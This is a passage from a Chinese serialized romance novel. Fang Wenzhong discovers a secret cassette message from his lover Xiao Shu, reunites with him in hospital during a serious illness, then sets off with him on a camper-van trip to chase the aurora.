“方闻钟,你的这个还要吗?”室友举着一个小巧的录音机挂件,甩了甩,“之前不是看你挂书包上?挺好看的,怎么不用了,坏了啊?” 方闻钟没回应,有些着急地从室友手里把东西抢过来。 “哎,你急什么,我不扔就是了,这么宝贝还塞那么深。” 方闻钟手里攥著录音机,可能因为他有些紧张,手又太用劲,不小心按下了一个按钮。 那个开关按钮以前按下去从来没有反应,这次因为里面装了磁带,方闻钟忘了,它陈旧地转了几圈,发出低沉的声音。 打开潘多拉的魔盒。 “哼,”萧疏笑了一下,停顿两秒,“方闻钟,宝宝。” 宿舍四人停住手里的动作,面面相觑,方闻钟惊慌失措地在手里摆弄那个东西!却怎么也不得法,他急出了汗,急得脸和眼都通红。 直到他把磁带卸了,方闻钟重重地吐气,然后在室友的注视中,拿着它忽然走了,临跑出去还顾得上说:“我的东西我回来再收拾。” “宝宝,我想你了。” 这是方闻钟坐在树林里,身体紧绷着,听到的萧疏的第二句话。 “你发现这个秘密的时候,可能已经过去了好长时间,那个时候不知道你还在我身边吗?是分开了,还是你又回来了?” “哼,这个小东西还挺好用的,那老板没骗你,你看我藏了这么久的偷偷录音你都不知道,它还真是隐蔽,”萧疏笑着起身,像是在翻找什么东西。 “方闻钟,没跟你说,你能考上A大,学习你的专业,很厉害,希望未来你也能这么厉害!我还等着你加入渊枢,继续发扬光大呢,”他开玩笑。 “在学校好好吃饭,打工也要有筛选,太累了的,太耗时间的性价比不高的就不要去了,方闻钟,你会慢慢发现这个世界来钱的机会很多很多,你要学会利用它们。” “同学之间能相处的就相处,相处不了的不要在意,他们未来在你的世界里比不上分毫。” “多和老师接触接触,方闻钟,可以考虑继续去实习,不是渊枢也可以,你这么优秀,他们肯定会录用你的。” “前面的日子太苦了,方闻钟,”萧疏停了良久,“十八岁以后,希望你的世界平平安安,顺顺利利。” “……” “噗,不要谈恋爱哦,谈恋爱也不能谈女同学……” “多运动一下,你还能长高呢,牛奶要记得每晚喝。” “……” “以后遇到事了,别想那么简单,多问问身边人。” “哈哈哈哈,如果有一天,你突然有很多钱,你会干什么?” 话题越来越扯远,萧疏说了一个多小时,恐怕是磁带能录的最多的内容,方闻钟初始听着,心揪得难受,后来伏在膝盖上哭,他讨厌他不厌其烦的关心。 讨厌他时隔半年还要再来这么一出,让方闻钟顷刻间崩溃瓦解。 听到后面,方闻钟收了眼泪,也随着萧疏的话语展望起来,无聊,但开心。 萧疏说了很多很多,方闻钟都忘了他一开始叫他宝宝,忘了在这段漫长的对话里,方闻钟是他的男朋友,是情人,而不是被关爱的后辈。 “哼,”方闻钟也笑出来。 录音到这里就结束了,磁带空转,萧疏聊的通篇都是未来,这未来里却没有多少他们在一起的画面,方闻钟忽然住手,眼神迷茫又难受,萧疏也不提之前的任何事。 这是什么意思? 方闻钟没明白,萧疏留给他这个小礼物,是干什么用?听了那么多,方闻钟不再怀疑,萧疏很喜欢他,可能也和他一样,爱着他。 他摁着指尖,有些发呆,录音最后忽然还有极其短促的一句。 像是错觉,又像是录音的人录上了又后悔了,想把它翦除。 “方闻钟,我爱你。” 时间停在这一秒,方闻钟不信邪,又倒回去重新听,“方闻钟,我爱你。” 我爱你。 为了听这一句,方闻钟把一个多小时的内容,重复听了三遍。 他终于听明白了里面萧疏的心意,萧疏爱他,祝他好,不追求以后还要和他怎样,他从没有提过他自己的未来。 一种怅然若失的心态挤满了方闻钟的心脏,让他胀胀的,他忽然捏紧录音机,头也不回地跑出校园。 打了车,他想见到萧疏。 立刻,马上。 第150章 不顾一切的拥抱 别墅里正遇上司机帮萧疏带东西,他看到方闻钟惊讶好久,赶时间就没多说话,方闻钟拉住他,“萧疏呢?”。 司机合上后备箱,他踌躇着说:“方闻钟,你真应该去看看萧总。” 说完他又立马自知失言,闭上了嘴,现在方闻钟别见到萧总也好,“他在哪里?”方闻钟严肃追问。 他最终还是得到一个意料之外的答案,医院。 方闻钟已经坐在司机车上。 车窗外滑过无数景色,方闻钟越来越纠结,良久问:“他怎么去医院了?还好吗?” 人已经被他擅自带来了,司机再撒谎也不是事儿,“不太好,”他摇摇头,脸上因为最近奔波,也带了些苦色。 方闻钟的心瞬间被提起来,他目光出神地看着前面,没有再追问司机。 刚才还犹豫要不要现在去见萧疏呢,现在只恨不得立马到医院。 司机把袋子里的东西交给方闻钟,告诉他楼层和病房号,“你上去吧,我就不去了,”他笑了一下摸了摸自己的寸头,“方闻钟,生死面前都不是事儿,别跟萧总较劲,”他交代着方闻钟听不懂的话。 方闻钟乘坐电梯,不知道是不是超重,他的心忽然坠得有些发沉。 走廊很安静,却在突然接近一个病房时,来来往往有很多医生护士进出,方闻钟的脚被钉在了原地。 他看到萧疏被医生插上管子,带好面罩,贴耳询问,看到几个护士把他从一架床上抬到另一架床上,摆放着他僵硬的四肢。 看到那么多人贴心照顾他,萧疏却只是微弱地点点头,发出“嗯,嗯”声,呼吸模糊了面罩,更模糊了他的脸。 方闻钟怀疑时间已经过了几十年,不然怎么有这么大魔力,让一个健健康康强势的男人,变成如今病床上任人指挥的干瘦样子。 那不知道叫什么的病魔,抽空了萧疏的肌肉、精神,他以前强健有力的手,现在指骨根根分明,散发著青色,手背上突兀的血管看起来更方便扎针。 他的腿被护士抬起来,裤管落下一点,方闻钟看到了他同样干瘦的小腿。 还看不清萧疏具体变成了什么样子,方闻钟已经看不清他的脸了,因为他也已泪水模糊,手里的东西什么时候掉到地上的都不知道。 病房内,突然来访的人并没有引起萧疏的注意,他闭着眼睛沉沉休息。 直到空气有些寂静、紧张,他忽然睁开眼。 看到了坐在他床尾的方闻钟。 方闻钟忍了又忍,眼泪和哽咽早被他藏起来了,可看到萧疏的刹那,目光对上的刹那,他差点回头,躲避过他。 方闻钟猛地擦了一把眼睛,再转回来。 萧疏惊讶过后就是舒缓的微笑,他看着方闻钟,声音很轻很轻,“你来啦。” 他的愉悦,让他的病容看起来都没那么惹人心疼,可方闻钟愣是在这一声问候中,彻底通红了眼,他几次张嘴,闭嘴,最后问。 “你怎么了?” “生了点病,”萧疏抬了抬输液的右手,他的神态甚至看起来很好,一点不像病重的样子。 方闻钟执拗,“什么病。” “……” 不太好说,按理来说是肝癌,但系统告诉萧疏,因为剧情杀的缘故,他不会轻易死,但该受的罪一点不会少,现在就在医院治疗,萧疏甚至想过,这样他在家和在医院也没多少区别,但身边人的担心让他最终选择保守治疗。 萧疏摘下氧气面罩,“方闻钟,半年没见,你就只想和我说这个吗?” 他的声音突然变得清晰,方闻钟却着急地扑过去,想从他手里把面罩拿回去再扣回他脸上! 他激烈的动作被萧疏按住,萧疏的手揽着他的后腰,方闻钟不再挣扎,半贴在他怀里。 “我没事,离死还远着呢,”萧疏想叫方闻钟别担心。 但方闻钟心更被揪紧,正常人谁会轻易把死挂嘴边,他吸吸鼻子,从萧疏怀里挣扎出来,萧疏顺势坐起来。 急得方闻钟一下不知道该怎么扶他,还是怎么给他垫一下,刚才护士小心翼翼的神态方闻钟都看在眼里! 可他不会,他还僵着胳膊时,萧疏已经坐起来了,除了比以前瘦点,他别无二致地转身看方闻钟。 甚至身上的从容、干脆,一点都没变。 “怎么突然来了?是想通了还是单纯想我了?你知道什么了吗?” 萧疏突然被方闻钟抱住,他牢牢抱紧他肩膀,由于方闻钟弯着腰,萧疏都能将下巴放在他脖子里,他说完上句。 “萧,萧疏,”方闻钟呜咽了一下,“你什么时候生病的?” “怎么?” “你是不是因为生病才故意把我推开你身边的,你故意那么说,故意逼我受不了离开,”方闻钟声音小小的,在萧疏看不到的地方又哭又撒娇,他想通了,一个真正爱他的人,不可能在和他相处的过程中一直带着目的,带着玩弄的心态看他作茧自缚,他对他的照顾和心疼没有丝毫作假,甚至分开了都不死心,还要叮嘱那么多。 萧疏沉默良久,“你听到录音了?” “嗯。” “我爱你,方闻钟,”萧疏突然说,“还没有正式跟你告过白呢,”方闻钟从萧疏身上起来,萧疏面对着他,“现在我还有资格说这句话吗?”。 萧疏在问方闻钟,关于你的心结,你能接受得了吗。 方闻钟抹掉脸上的泪水,背过身去,不叫萧疏看到他的模样。 “我认输,萧疏,”方闻钟倔强的背影诉说着他的挣扎和结果,“我想过忘掉你,不见你,也不再和你产生关系,可我连第一步都做不到,我还骗自己,我,我,萧疏,爱你怎么那么难?”,他的忠诚全部背叛了良心,倒向爱情。 方闻钟突然被抱住了,萧疏拔掉手上的针,下来紧密抱住方闻钟的后背。 “是因为我生病可怜我吗?觉得可以再在我身边留留,然后稀里糊涂地告别?” “不,是因为你生病才认清我自己。” 只需见萧疏一面,就能将他所有矗立起来的防御顷刻间打碎。 方闻钟:“我不该骂你,还打你,对不起,萧疏,是我自己不自重,是我自己太喜欢你,一切都是我自己甘愿做这样的事。” 萧疏大手在前面替他擦掉眼泪,然后嘴唇贴在方闻钟脖子上,“不,你骂得对,方闻钟,我是卑劣无耻,不仅一开始牢牢套住你,后来放你离开也是故意的,你看,你这又不是被我的手段和心计抓回来了吗?” “方闻钟,”他亲著他的皮肤,说着最不要脸的话,“从始至终,我都没想过让你有一天逃开,温和的手段不好使了,强迫也要把你绑在我身边。” 方闻钟转头,萧疏的唇亲上他的脸,方闻钟眨眼,“温,温和的手段?” “录音机,”萧疏摸着他的脸颊提醒他。 方闻钟惊愕,“要是我发现不了呢?要是我决定不理你了呢?” 萧疏摇着头,“你不会想知道的,方闻钟,所以别问,”现在的结果是方闻钟想通了,愿意和往事和解,愿意放下自己,重新投入萧疏的怀抱。 只要在他的怀里,所有外界纷扰就可以通通被抵御在外! “忘掉其他人,忘掉所有不相干的不在意你的人,方闻钟,”萧疏的言语蛊惑着他,“记住我就可以了,我可以给你爱、包容、未来,你想要的一切关系和体验,”所以敞开心扉把一切都交给我吧。 萧疏再怎么瘦弱,他的怀抱还是可以密不透风地围住瑟缩的方闻钟。 方闻钟先是试探地伸出自己的胳膊,然后将手轻轻放在萧疏腰后侧。 当萧疏的眼神里全是他,鼓励他时,方闻钟踮起脚,轻轻亲在了萧疏的脸颊上。 他的唇本来要印在萧疏的嘴角,萧疏躲了一下,这是他给方闻钟的理解和温柔,慢慢来,他不愿看到方闻钟一次迈出太多步,然后在心里折磨自己,讨厌自己。 其实亲密关系中,不顾一切的拥抱,比亲吻更能代表感情。【你现在阅读的是 】 【正文完】 第151章 扶萧疏撒尿 方闻钟想要去问医生萧疏的病情,被萧疏紧紧攥住手背,方闻钟心不安地跳了一下,随即在萧疏的转移话题中,又笑着想到别出去。 “我跟学校请一段时间假吧?” 萧疏:“请多久,一周,一个月,还是一年?”萧疏认真地看着他,“我不好了你还不上学了?” 方闻钟苦苦的,“你一年还不好吗?” 看着男生要流眼泪的样子,萧疏后悔这样说话招惹他,“算了,别担心。”他摸摸他的头,“我知道我自己的身体状况,没事,你有空过来我就很开心。” 白天这样说着的萧疏,晚上就为他的大放厥词付出狼狈的代价。 吃进去的食物全部恶心呕吐出来,吐到萧疏浑身颤抖青筋暴起,才咳出几大口血结束。 医生护士乱中有序地替他拍背各种检查,许久没进食只靠营养液的身体,承担不了突如其来的美食,萧疏还本想着很快出院,陪方闻钟呢,总不能顿顿不吃?虽然不吃不输液估计他还是死不了…… 萧疏有些自嘲,眼前一片狼藉,他自己也觉得自己有些窘迫。 幸好现在方闻钟不在…… 萧疏看着左手使劲抓住的一个手背,还有后背上替他舒缓的力道。 刚才方便使劲,他没有意识到自己握住的不是旁人,萧疏猛然抬头。 方闻钟就站在他旁边,眼里全是担忧,但一言不发,看着来去匆忙的护士,萧疏因为咳血呕吐的内容他也不嫌弃,等医护人员终于走了,萧疏被擦洗干净晚上要休息时,方闻钟才凑近他旁边,说上了第一句话。 “你还说你没事,”他埋怨萧疏,不知道忍了多久,才独自把情绪消化掉,这会儿没有再慌乱无助地流泪,他抓着萧疏的手,在自己脸颊上贴了贴,“你是不是因为这样才变瘦了啊。”瘦了好多,他嘟囔。 然后看着病床和被子,不看萧疏疲惫的脸,萧疏白天的强撑,还真让他以为他病得没那么重,“我骗学校,我要实习最近晚上都不回学校了,白天我也会尽快赶过来。” “方闻钟,”萧疏抽自己的手,第一下没抽出来,第二下掉到床上,他却抬起手,在方闻钟红红的眼皮上擦了几下,“相信我,我说了我还要陪你很久,就不会往后都留给你这幅病床上的样子,然后撒手人寰。” 方闻钟绷紧脊背,或许是萧疏的笃定和镇定,真的给了他安慰和勇气,方闻钟不再那么焦虑心疼了。他只想陪着他。 夜晚,方闻钟在旁边的床上睡觉,萧疏半夜起来,看着男生被子都没盖好,彷佛随时准备醒来起身的样子,轻轻碰了碰他脸。 方闻钟没动静,他替他脱掉裤子和外套,让人好好休息。 他肯定也最近承受了很多,没有睡过一个安稳的觉。 萧疏往卫生间走时,后面突然醒过来的男生一跃而起,很快眼神从模糊到清明,过来扶住萧疏的胳膊。 萧疏看着干瘦,可身高和体重放在那里,当方闻钟想把萧疏的重量全承担到自己背上时,萧疏阻止了他。 “别费劲,我还好。” 方闻钟不再强求,“你总说你还好,但你刚刚都,”他说到一半闭嘴,意识到对萧疏这样一个曾经强大、体面的人来说如今走路都要吃力靠墙,并不是一件光彩的事。 于是他维护他,说:“你刚刚弄醒我了,我陪你去。” 萧疏顿住脚步,又重新走路,“好吧。” 卫生间打开马桶盖,萧疏解开松紧带,到这里方闻钟就有些害羞地背过脸了。 随后听着水声,他走神得太明显,还有一丝丝后悔,他是不是不应该陪他到这一步?在外面守着就好了。 擦干了手,萧疏忽然把全身的重量压方闻钟胳膊上,萧疏的头侧过来枕着他的肩,把方闻钟吓了一跳。 还好吗?方闻钟想问,却听萧疏笑声低语,“这都害羞,还说要每天来照顾我,宝宝,你这样可怎么行?” 方闻钟抿着唇,他试探着把手揽在萧疏腰上,萧疏竟也没阻止,突然觉得萧疏的头放他脖子里,让方闻钟有种很安心很自豪的感觉,“你才宝宝。” “不喜欢吗?”萧疏头微微偏了一下,亲到了方闻钟的唇,“这个称呼。” 没有不喜欢,“没有不喜欢,”方闻钟说出心里话,他只是觉得现在他更像需要好好被看管照顾的小孩。 扶上床时,萧疏不知道是故意的,还是真趔趄了一下,他差点摔倒在床边,把方闻钟也绊了一下。 方闻钟没有丝毫犹豫,他盯了萧疏半晌,然后弯腰,抱住,起身!萧疏被他公主抱起来放在床上,顺手盖上被子。 萧疏在被子里和他大眼瞪小眼,方闻钟突然开心地笑了一下,弯腰,将萧疏亲回去。 “萧疏,你要快点好起来呀,”不然以后只能我抱你了。 第二天去上学前,方闻钟还是偷偷问了医生萧疏的病情。 医生问到他和患者什么关系,方闻钟好几个字憋在嘴边没说出来,医生浅笑了一下,似乎也不打算为难他,也可能是萧疏那边早交代过,迟早会让方闻钟知道详细的情况,方闻钟都听到了。 一整天都心不在焉,某天他喂萧疏吃饭时,忽然将一勺子怼到了萧疏下巴上。 萧疏有在努力克服,也可能真有方闻钟陪着人会状态好点,他慢慢能吃进去一些东西。 “不想喂了?” 方闻钟愣了一下,然后将冷掉的勺子放自己嘴里吃掉,又重新给萧疏,萧疏接过来自己吃。 “想什么呢?” 方闻钟:“我了解过了,我是不是可以给你器官移植?” 他犹豫着说,眼神低垂,“肝脏是可再生的,我可以切一部分给你进行活体移植,这样我们俩都会没事的,”他终于抬眼,似乎想看看萧疏会不会多了一层希望,和他一样期待。 却对上萧疏黑压压的似乎要将他吃了的沉默。 “医生告诉你的?”几个字冷冰冰的,毫不怀疑如果真是这样他考虑去把医生做掉。 方闻钟摇头,捏着手指,“我自己上网查的。” 萧疏忍了又忍,最终气笑了,又奈住想教育他的冲动,“方闻钟,医学不是那么简单,还要考虑配型。” “对啊,”方闻钟目不转睛,“你做都没做怎么知道我们不合适?说不定我们很合适,我一定可以救你!” 萧疏把碗放一边,抱住他轻轻拍他背,“最近担心坏了吧,是不是想了很多?” “你上网查都是自己吓自己。” 方闻钟的眼泪湿润了萧疏脖子,“可医生也说得很凶险。” 萧疏一下一下抚摸,给他力量,“我可以接受现在的样子,但我绝不接受你做白白牺牲,方闻钟,时刻把自己放第一位,”他点着方闻钟的心脏,“更何况我最严重也就这样了,我不会死。” 方闻钟擦掉沉默又汹涌的眼泪,固执地问:“你怎么保证?” “我有钱,”萧疏说:“我能想到比你多得多的办法,可能没办法立马痊愈,但是……绝不会突然死掉,吓到你。” “方闻钟,”萧疏仔细摸着他凉凉的脸颊,“我是来爱你的,不是让你重回我身边天天受苦的。” 所以别那么担心,也别杞人忧天,他们每天都能在一起,不好吗? 萧疏的饭量,每天能和方闻钟下去逛逛的运动量,渐渐给了方闻钟信心,他察觉到萧疏咳血的频率变低了,似乎腹痛的情况也有所好转,当他怀疑是不是萧疏在强忍时。 萧疏说:“你看我的脸,像很严重的样子吗?就不能是医生开的药好?” 他坐在轮椅上,被方闻钟推到园子里晒太阳,萧疏双手摊开。 方闻钟听后长舒一口气,气氛渐渐轻松了起来,方闻钟偶尔会给萧疏讲学校里的事,萧疏也说自己无聊,将他过往经手的所有商业案例,掰开了揉碎了当故事一样讲给方闻钟听。 听得方闻钟心潮澎湃崇拜欣喜地看萧疏。 萧疏:“过段时间再去渊枢实习吧,跟着原总。” 方闻钟从原总还有基金经理那里得知萧疏将他的一大部分财产留给他时,都吓傻了!第一反应不是惊喜,而是惊吓,难道他在准备后事?看着紧张到失语的方闻钟,原总安慰他,“算了,你别多想,萧疏生病第一时间就做了这个决定,”现在说来原总还感到头疼,但没办法。 所有文档只需方闻钟签字了就有法律效力。 方闻钟却死活不签,他拿着那些东西去找萧疏。 萧疏很淡然,“我的东西给你怎么了?方闻钟,我没有法定意义上的另一半,你觉得你不可以是吗?”。 他的理直气壮都让方闻钟不会反驳,最后只着急道:“那也不用,不用这么赶吧!”方闻钟有点害怕萧疏的动作,彷佛以后很久,他都不在了,没办法陪着他了,才这样为他留下他最珍贵的东西。 早料到了这种情况,萧疏哄他,“我们做个约定?”。 萧疏点着扶手,“如果我陪你一年,还没事,你就签一份文档,”萧疏翻了翻那些纸,笑道:“方闻钟,有二十八份,二十八年后,怎么也能让你安心了吧?”。 萧疏眼里璀璨,方闻钟紧张的心绪一点点变为哭笑不得,他瘫坐在萧疏腿边,忽然将头枕在他大腿上。 方闻钟抱住萧疏的腰,“萧疏,我可以是你的另一半,那我们要说好,你要陪我很久很久,这个约定才成立。”。 辅导员曾经警告他的话,突然出现在方闻钟脑海里,让他有一阵轻嘲,有人担心他被白睡,弄不到好处最后竹篮打水一场空,有人爱他至深,别人以为的他最在乎的钱、财产,都是他可以抛弃的身外之物…… 如今这身外之物还加了一个方闻钟的名字,方闻钟却觉得这是萧疏为他的灵魂搭造的蔽所。 又这样过了半月,某天,萧疏电话通知他有一个很大的惊喜要告诉他!方闻钟跑去医院时,在病房门口碰到了一个熟悉的人。 他胳膊上带着祖母绿的腕表,此时正站在萧疏身前说话。 方闻钟下意识停住脚步,没进去,大概等了十五分钟。 萧疏的朋友出来了,看到方闻钟他也没意外,更像假装看不到方闻钟一瞬间的紧张排斥,甚至友好地朝方闻钟点了点头,“你进去吧,他还好。” 方闻钟立马意识到,对方知道他和萧疏的关系,甚至……他曾经也是父亲和‘萧疏’的见证者。 想到这的一瞬间,方闻钟面红耳赤,感觉在这里待不下去了,可直到男人的背影进电梯,彻底看不到走廊没了一丝声音,方闻钟都停在原地没动。 刚才的羞耻、不好意思,通通不见踪影,至少是在方闻钟脸上。 某些问题只有当你真正面对时,你才能知道代价,才能知道这个代价自己承担不承担得起,如今看来,那些都比不上方闻钟想进去,想见到萧疏。 想两人抱着,说说话,亲一下。 方闻钟用一场突如其来的打扰,彻底觉醒坚定了自己的心,无所谓其他任何人,他脱离了亲情桎梏,不在乎外界人言可畏,他只要好好活着的萧疏。 进去却见萧疏一身西装,长身玉立站在床前,见到方闻钟立马张开了他的怀抱,彷佛待会儿的那个惊喜,要抱着说才够味。 脱了病服的萧疏,虽然没有以前那样强势、盛气淩人,但依旧贵气优雅、高高在上,方闻钟有多喜欢他穿一身正装的样子,连他的皮鞋也好看得让他眼神发直。他摸了摸萧疏鬓角稍微有些碎的头发,萧疏高兴地对他说:“医生同意我出院了!” 暂时,情况稳定,患者要求,这是医生委婉告诉方闻钟的话,安了他的心,方闻钟简直难以置信,可听到这个保证后开心地合不拢嘴!甚至忽略了医生被迫说不出口的东西。 他激动地抱住他脖子,差点跳起来,“那太好了,我们赶紧收拾东西回家吧!” 最近这段时间一直医院学校两点一线,方闻钟心时时刻刻被吊起来,无论萧疏看著有没有事,他没有一刻不在难受、担心。 “司机收拾下去了,”萧疏忽然动作迅速又疯狂地将方闻钟抱起来,甩了一下,几息间!方闻钟竟然跨坐到萧疏肩头。 他两只腿骑在他脖子里,方闻钟紧紧抓抓萧疏的头,又紧张又害怕,啊,他尖叫着,想要萧疏将他放下去! 既是恐慌这个高度,也是担心萧疏的身体,吃不吃得消。 萧疏却背着人,几步踏出门外,奔向楼梯间。 他们的笑声藏在忽然关上的门里,忽然亮起的灯,方闻钟渐渐放松下来萧疏一走楼梯他就又笑又怕。 萧疏也陪他闹,做着不符合身份年纪的事。 他也想孤注一掷,也想不管不顾,渣攻属性从100到20,可能需要萧疏不动声色的爱和宠,但从20到0,要方闻钟发自肺腑的开心、幸福,萧疏知道自己还需要做很多。 所幸,他还有时间。 糟糕的病情就像一场漫长的折磨,被萧疏无关紧要地抛到脑后,它阻挡不住萧疏想要带方闻钟出去的步伐。 他不想将他困在提心吊胆里,他想带他去感受家、自由、野外。 方闻钟,愿你以后想起曾经,大多是喜悦。 第152章 “我们是恋人。” 既然方闻钟那么喜欢小狗,那就养一只自己的狗吧,萧疏对方闻钟说。 他们挑了一只小柴犬,老板看到萧疏停在店外面的车,极力向他们推荐其他品种的狗狗,无外乎,都要上万块钱,方闻钟却钟情于那只大眼清亮的,萌萌的柴犬。一见到他们进来,就歪脑袋,抬起一直脚。 方闻钟接住了它交朋友的手。于是男生蹲在那里不动了。 定完了这只狗狗,方闻钟又看上了一只缅因猫,他这次纯粹是被颜值俘获的,手碰上毛茸茸的热乎触感,方闻钟转头看萧疏,一切情绪都在不言中。 他和那小柴犬一样,单纯、可爱、高兴。 萧疏都付钱了,“猫狗齐全!”方闻钟抱着他们的笼子还有其他小家具,老板瞅他们背影,开始还以为是亲戚关系的大人小孩,后来那男的看方闻钟的目光不纯洁,老板还猜不会吧,不会是有钱人搞的肮脏把戏吧。 老板低着头,看收银屏的时候还偷偷看已经走出店的两人。 高个的一看就不简单的男人,把那个男孩子从腰上抱在怀里,本来要亲他脸颊,男孩子一高兴一抬头,他就顺手将胳膊放在他头上,使劲挠了挠,两人都笑。 老板看着看着,心里的猜忌都少了很多,他什么时候嘴角带笑的都不知道…… 萧疏把猫和狗安顿在房车里独属于它们的空间时,方闻钟还不放心,“我们真能带他们去那么远的地方吗?”。 在萧疏家里的这段时间,是方闻钟过得最幸福的日子!每天上课萧疏送他去,萧疏不去公司了,下课就专门等着接方闻钟回去,偶尔厨师做饭,偶尔萧疏下厨,方闻钟兴致勃勃地跟着他进去动手,做出难吃的一菜一汤,萧疏也能下咽。 他们睡在一张床上,萧疏不会对他做什么,起初,方闻钟也不明白自己在坚持什么,萧疏似乎懂他一切心思,他们拥抱着,顶多亲吻着,萧疏都不会伸舌头。 方闻钟被老老实实揽在萧疏怀里时,又觉得这日子太好了,又默默忍受着小方闻钟的变化骂自己变态! 临近冬日,萧疏要趁方闻钟放假的时候带他出远门!出去玩儿。 “可能大概一个月吧,”萧疏侧头,“把你的小白和小花也带上。” 方闻钟起名太贫瘠,他却说这样最简单最好区分了,小时候左邻右舍养宠物,谁不是这样叫的……看着宽敞啥都不缺的房车,方闻钟心情荡漾! 请假就请假吧,二十天,但是他不忍拒绝萧疏的一切提议。 他们就这样拖家带口地上了路,去的地方太遥远,方闻钟刚开始忧心忡忡,后来完全被路上的一切迷了眼,他趴在车窗上,一面是美不胜收的自然风景,一面是女娲鬼斧神工雕刻的男人的俊脸。 萧疏开车偶尔抓抓他的手,方闻钟不想打扰他,说话说累了,又跑去后面和小花小白玩。 方闻钟在学摄影,没多少技巧,萧疏把相机塞他手里时,他自动将镜头对准了萧疏。 萧疏用手挡过,方闻钟从镜头后出来,“为什么不让拍你?不方便吗?” 萧总的照片网上很少很少,萧疏是担心他发出去? 萧疏笑说:“拍它们,”于是方闻钟把镜头对准猫狗,对准风光,再对准萧疏悄悄走向前的背影。偶尔他还会转过来自己对镜头说说笑笑,不会给别人看,都是留给自己的,所以方闻钟一点儿不担心,开心了说开心,烦了唠叨几句,对猫猫狗狗的爱,和对萧疏的爱一起藏在几百个小时中的几个小时里。 ‘这个城市有可能看到极光’方闻钟说,萧疏就将导航定到了最边缘的一片湖泊,“我们真去吗?能看到极光吗?据说这需要极好的运气,概率很低很低!”。 萧疏:“想去就去,你怎么会缺运气?”他低头查看手机,“KP值合适,云层也没有遮挡,方闻钟,去追极光吧。”(KP:磁场指数,0-9,数值越大看到极光的可能性越高。) “好!” 两个人,不怕突如其来的变化,穿梭在陌生的地方。下午四点,最后一丝天光消失在城际,周围只剩一片寂静的蓝。蓝调中掠过的房屋,也变成了清冷的白,萧疏驾车,他们走过干燥的城区、树林,几滴墨色,添进去染黑了静谧的天空。 而在墨色浓郁,黑夜真正降临时,萧疏将车驶向了大片无人区。 方闻钟还没从刚才的太阳落下,时间定格的蓝调中缓过神来,他久久注视外面,偶尔看看导航大屏,一个小时,两个小时,当萧疏把车停到路边提出想和他换一下位置时,他惊愣了一下。 跳下车,外面的冷风和车内的空调形成鲜明对比,方闻钟缩了缩脖子,好冷,喊萧疏赶紧上车。 萧疏脚步沉稳,下巴上冒出一点胡茬,在上车前,他先拿出方闻钟脱在副驾上的衣服穿上了。 坐上驾驶位,方闻钟还有些紧张,车门被关上,萧疏凑过来跟他讲注意事项,“没问题,别担心,”最后萧疏这样安慰他,方闻钟能听出萧疏的声音有些沉哑。 “你没事吧?” 萧疏也抬头,凑过去亲了一下他鼻尖,“没事,方闻钟,开慢点,我想睡一下。” “好,”方闻钟猜测他可能太累了,或开车久了有点困,为了安全起见交给他,他向萧疏保证道:“那我慢点开,到了叫你。”导航距离还有一个半小时。 发动车子,方闻钟紧握方向盘,空调的暖风不知是不是刚被调大了点,掠过他们的脸庞,方闻钟感觉到热,他穿着毛衣,趁机将毛衣领子往下拉了一下。 转头看去,萧疏穿着方闻钟的冲锋衣,本来偏大的衣服,他穿着正好,萧疏抱着胳膊,他侧着头,忽然闭眼沉沉睡去,衣领挡住他冷硬的下颌线,只露出洁白的上半张脸。 “萧疏,”方闻钟不敢多看,试探叫道。 回应他的,是萧疏渐渐平稳、睡着的呼吸声,方闻钟放松了。 萧疏的头靠着另一侧车窗,方闻钟只能从偶尔亮起的玻璃上看到他一点点,导航机械的女声有点打扰他听萧疏的动静,没过半晌,萧疏将头侧过来,正脸对着方闻钟这边。 方闻钟顿时不紧张了。 距离路程还有三分之二,车灯划破前面的一片黑暗,车轱辘压上沉闷黏腻的触感时,方闻钟顿挫了一下,地上的花白不是他的错觉!是雪路! 房车以无情的速度碾压过去,路况变糟,左摇右晃,方闻钟胃抽搐了一下,脚放在刹车上,唇线绷直。 无论他怎么颠簸,萧疏都没醒过来,方闻钟的侧耳,一直能听到他平静的呼吸,宛如每个深夜他陪他一起,这样方闻钟就也不害怕。离目的地还有半小时。 砰!车紧急制动,所有生物都被惊醒!方闻钟睁大眼看着前面,刚才一路遇到了不少挡路的大雪块,他都是压过来的,可前方的这个‘雪块’,竟是一颗伪装的大石头,他没看清楚,碰上去时已经迟了。 方闻钟赶紧解开安全带,想下去查看。 前方突然伸过来一只手,那只手一半还在衣袖里,只用几根手指,轻轻扯住方闻钟的手腕,萧疏睁眼,“没事,”因为许久不说话,他开口有些沙哑,很快疏朗,“只是一个石头,方闻钟,我们的车没事,别担心。” 方闻钟停住所有动作,萧疏醒来了,刚才的恐惧好像才被堵回去,“碰到了。” “没关系,我下去看看,”萧疏已经打开那边车门。一会儿被冷气裹挟着上来,“磕了一下,”他对方闻钟说:“往右点,路不好走,你已经很厉害了。” 方闻钟手心里的汗变凉,他察觉到萧疏的脸有些红,方闻钟将手粘贴去,又用自己的脸去碰,“萧疏,你是不是发烧了?好热,”他怎么感觉今天萧疏身体有些虚弱呢? “没事,”萧疏笑着抚了抚他的脖子,“刚捂着了。”他今天说了太多没事。 萧疏拉开衣服拉链,却没将方闻钟的外套脱下来,方闻钟隐隐心喜,继续由他开车上路。 当前方的黑暗、雪白,又多出来一大片反光的剪影,他们知道,他们到目的地了! 下车!两人都穿了早就准备的羽绒服!方闻钟蹦着跳着过去,被萧疏紧紧抓着他的手指,天空沉郁,只挂着几颗孤独沉闷的星子,寒风似冰凉的舌头舔过每个角落,星星也懒得动弹。 等得有些久,还是不见一点极光的迹象,方闻钟不耐烦了,萧疏还抬着头,“萧疏,萧疏?” 方闻钟忽然扯扯萧疏的胳膊,示意他看自己的右后方,在那里有一处小火光,似乎还能听到火光周围聚集的人的声音。 “要过去吗?”方闻钟的眼睛亮亮的。 “走吧,”萧疏看了眼手机,跟在方闻钟后面。 大概走了一段距离,原来是一夥人在车队周围生了篝火,他们喝着热饮吃着东西,讨论今晚还能看到极光吗? 这是专门追极光的猎人团,都有专门的导游带领,看起来都是三十岁左右的年轻人,男男女女都有。 在这里见到方闻钟和萧疏,一个个都有些惊讶,并欣喜地接待他们。 互相说了些自己这边的情况,方闻钟被塞进手里一杯热咖啡捧着,萧疏什么都不要,他和萧疏隔着一段距离,因为中间放了东西,只能坐两边的椅子。 方闻钟听他们的奇遇听得开心,“KP3了,今晚可能看不到了,”“再往北边走走呢?”“你们呢?待会儿直接返回?”。 萧疏尝了一口方闻钟递过来的咖啡,他只舔了一下,还是不好喝,于是连杯子一起放萧疏手里,“你们俩,什么关系?” 队里的一个女人忽然八卦问,所有对话都被打断安静下来。 